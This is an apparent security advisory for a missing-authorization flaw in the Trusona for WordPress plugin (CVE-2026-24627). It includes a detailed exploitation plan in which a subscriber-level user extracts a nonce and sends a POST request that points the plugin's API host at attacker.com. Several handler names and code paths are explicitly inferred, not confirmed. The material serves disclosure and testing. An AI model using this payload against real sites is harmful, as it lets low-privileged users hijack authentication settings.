Trusona for WordPress <= 2.0.0 - Missing Authorization
Description
The Trusona for WordPress plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.0.0. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
This research plan outlines the technical steps to verify and exploit CVE-2026-24627, a missing authorization vulnerability in the Trusona for WordPress plugin. ### 1. Vulnerability Summary The Trusona for WordPress plugin (up to version 2.0.0) fails to implement proper capability checks on adminis…
Show full research plan
This research plan outlines the technical steps to verify and exploit CVE-2026-24627, a missing authorization vulnerability in the Trusona for WordPress plugin.
1. Vulnerability Summary
The Trusona for WordPress plugin (up to version 2.0.0) fails to implement proper capability checks on administrative AJAX handlers. While these handlers may verify a WordPress nonce for CSRF protection, they do not verify if the authenticated user has the manage_options capability. This allows any authenticated user, including those with Subscriber-level permissions, to execute administrative actions such as modifying plugin settings or triggering API syncs.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Vulnerable Action (Inferred):
trusona_save_settingsortrusona_sync_users. - Required Parameter:
action,nonce, and setting-specific parameters (e.g.,trusona_enabled,trusona_api_secret). - Authentication: Authenticated (Subscriber level or higher).
- Preconditions: The plugin must be active. The attacker must have a valid login.
3. Code Flow (Inferred)
- Entry Point: The plugin registers an AJAX handler in a file like
includes/admin/class-trusona-admin.phpor the maintrusona.phpfile using:add_action( 'wp_ajax_trusona_save_settings', array( $this, 'save_settings' ) ); - Nonce Verification: The
save_settingsfunction likely callscheck_ajax_referer( 'trusona_save_settings', 'nonce' );. - Missing Check: The function proceeds to update plugin options via
update_option()without checkingif ( current_user_can( 'manage_options' ) ). - Sink: User-controlled values in
$_POSTare saved into the WordPressoptionstable, potentially altering the authentication flow (e.g., pointing Trusona to an attacker-controlled API endpoint).
4. Nonce Acquisition Strategy
To exploit an authenticated AJAX vulnerability, we need a valid nonce. Nonces for administrative actions are often localized and made available to the browser's global scope.
- Locate Localization: Search for
wp_localize_scriptin the plugin source to find the object name and nonce key.- Likely Object Name:
trusona_adminortrusona_vars. - Likely Key:
nonceortrusona_nonce.
- Likely Object Name:
- Identify Page Access: Since Subscribers can access
wp-admin/profile.php, check if the plugin enqueues its admin scripts on all admin pages. - Extraction Steps:
- Log in as a Subscriber.
- Navigate to
/wp-admin/profile.php. - Use
browser_evalto extract the nonce:browser_eval("window.trusona_admin?.nonce || window.trusona_vars?.nonce")
- If Nonce is Action-Specific: If the nonce is strictly tied to
trusona_save_settings, it might only appear on the plugin's settings page (which a Subscriber cannot access). In this case, check if the plugin uses a generic nonce (action-1) or if another unprivileged AJAX action leaks a usable nonce.
5. Exploitation Strategy
The goal is to modify the plugin's configuration to disable Trusona or redirect API calls.
- Step 1: Log in as a Subscriber user using the
browser_logintool. - Step 2: Navigate to the Dashboard or Profile page.
- Step 3: Execute
browser_evalto find the localized nonce variable. - Step 4: Send a crafted POST request to
admin-ajax.php.
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Payload (Example):
action=trusona_save_settings&nonce=[EXTRACTED_NONCE]&trusona_api_host=attacker.com&trusona_enabled=1
6. Test Data Setup
- Install Plugin: Ensure Trusona version 2.0.0 is installed and activated.
- Create User: Create a Subscriber user.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
- Configure Plugin: Set some initial dummy values for Trusona settings as an admin.
wp option update trusona_api_host "api.trusona.com"
7. Expected Results
- Response: The server should return a
200 OKor a JSON success message (e.g.,{"success":true}). - Database Change: The WordPress option
trusona_api_hostshould be updated to the value provided in the Subscriber's request. - Security Impact: Unauthorized modification of security settings by a low-privileged user.
8. Verification Steps
After sending the AJAX request, verify the change using WP-CLI:
- Check the modified option:
wp option get trusona_api_host - If the value is
attacker.com, the exploitation is successful.
9. Alternative Approaches
- Bypassing Nonces: If
check_ajax_refereris called withdie = false(e.g.,check_ajax_referer('act', 'nonce', false)), the script may continue even with an invalid nonce. Test by omitting thenonceparameter. - REST API: If the plugin registers REST routes, check for
permission_callback. If it is set to__return_trueor usesis_user_logged_in(), it is vulnerable.GET /wp-json/trusona/v1/settings
- Action Probing: If
trusona_save_settingsfails, search the source for otherwp_ajax_hooks that might be missing authorization, such astrusona_syncortrusona_reset.
Summary
The Trusona for WordPress plugin (versions 2.0.0 and below) is vulnerable to unauthorized access because its administrative AJAX handlers fail to verify user capabilities. This allows authenticated attackers with Subscriber-level permissions to modify plugin configurations or perform restricted actions by exploiting the lack of a current_user_can() check.
Exploit Outline
1. Log in to the WordPress site as a user with Subscriber-level access. 2. Locate the required AJAX nonce by inspecting the localized JavaScript variables (e.g., window.trusona_admin or window.trusona_vars) on accessible admin pages like /wp-admin/profile.php. 3. Send an authenticated POST request to /wp-admin/admin-ajax.php with the action parameter set to the vulnerable administrative hook (e.g., trusona_save_settings). 4. Include the extracted nonce and the desired settings parameters (such as trusona_api_host or trusona_enabled) in the request body to modify the plugin's configuration.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.